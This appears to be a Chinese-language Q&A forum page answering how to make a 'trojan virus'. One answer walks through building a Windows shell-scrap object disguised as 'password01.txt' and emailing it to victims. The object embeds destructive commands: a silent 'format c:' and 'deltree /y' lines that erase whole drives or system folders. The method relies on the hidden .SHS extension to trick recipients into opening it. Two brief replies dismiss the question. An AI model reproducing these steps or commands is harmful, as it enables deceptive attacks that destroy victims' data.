如何制作木馬病毒 TXT炸彈的制作 [color=deeppink][/color] 1.創(chuàng)建一個(gè)只包含一個(gè)空格( 為了減小文件體積)的文本文件，任意取名。 2.打開｛寫字板文檔｝，將此文件拖放入｛寫字板文檔｝。也可以點(diǎn)擊記｛寫字板 文檔｝單欄中的“插入\對(duì)象”，彈出“插入對(duì)象”對(duì)話框，選中“從文件創(chuàng)建”，然后 點(diǎn)擊“瀏覽”按鈕選擇要插入的文件。 3.選中該插入對(duì)象的圖標(biāo)，選擇菜單欄中的“編輯\包對(duì)象\編輯包”(如圖1)。在彈 出的“對(duì)象包裝程序”對(duì)話框中，選擇菜單欄中的“編輯\命令行”，然后輸入如下命令 ：start.exe /m format c:/q /autotest /u ，點(diǎn)擊“確定”，此時(shí)，內(nèi)容欄中會(huì)顯示 出命令內(nèi)容。 4.點(diǎn)擊外觀欄中的“插入圖標(biāo)”按鈕，會(huì)彈出一個(gè)警告對(duì)話框，確認(rèn)，然后任選一 個(gè)圖標(biāo)。 5.選擇菜單欄中的“編輯\卷標(biāo)”，為此嵌入對(duì)象取一個(gè)名稱(會(huì)替換原來(lái)的文件名 稱)。點(diǎn)擊“文件”菜單中的“更新”，然后關(guān)閉此對(duì)話框。 6.將剛剛建立的嵌入對(duì)象拖放到桌面上。文件的默認(rèn)名是“碎片”（在2000下的默 認(rèn)名為”片段”），現(xiàn)在我們把它改成“password01.txt”。打開電子郵件程序?qū)⒆烂? 上的“password01.txt”作為附件發(fā)出，或者將含有嵌入對(duì)象(帶有惡意命令)的文檔作 為附件發(fā)出。 7.當(dāng)郵件接收者誤將“password01.txt.shs”文件作為“password01.txt”(如前文 所述，“.SHS”擴(kuò)展名永遠(yuǎn)是隱藏的)放心地打開時(shí)，或打開文件，點(diǎn)擊文件中的嵌入對(duì) 象時(shí)觸發(fā)惡意命令(彈出DOS運(yùn)行窗口，執(zhí)行格式化命令)．如果將上面的命令替換為：st art.exe /m deltree /y a:\*.* c:\*.* d:\*.* 則是將刪除對(duì)方硬盤下所有文件（盤符 根據(jù)實(shí)際情況自定義）；如果替換為：start.exe /m deltree /y c:\windows\system\*.* 則是刪除對(duì)方c:\windows\system\目錄底下的所有文件．（當(dāng) 然大家可以改成其它的命令） 很簡(jiǎn)單，這樣一個(gè)惡意的攻擊程序被弄出來(lái)了！ 參考資料：百度

直接無(wú)視這種問(wèn)題、自己的安全還沒(méi)做好就想學(xué)弄病毒、自己到bbs.itzhe.org學(xué)習(xí)去、

自己動(dòng)手寫一個(gè)出來(lái)唄，如果你不會(huì)篇程那就免了吧。

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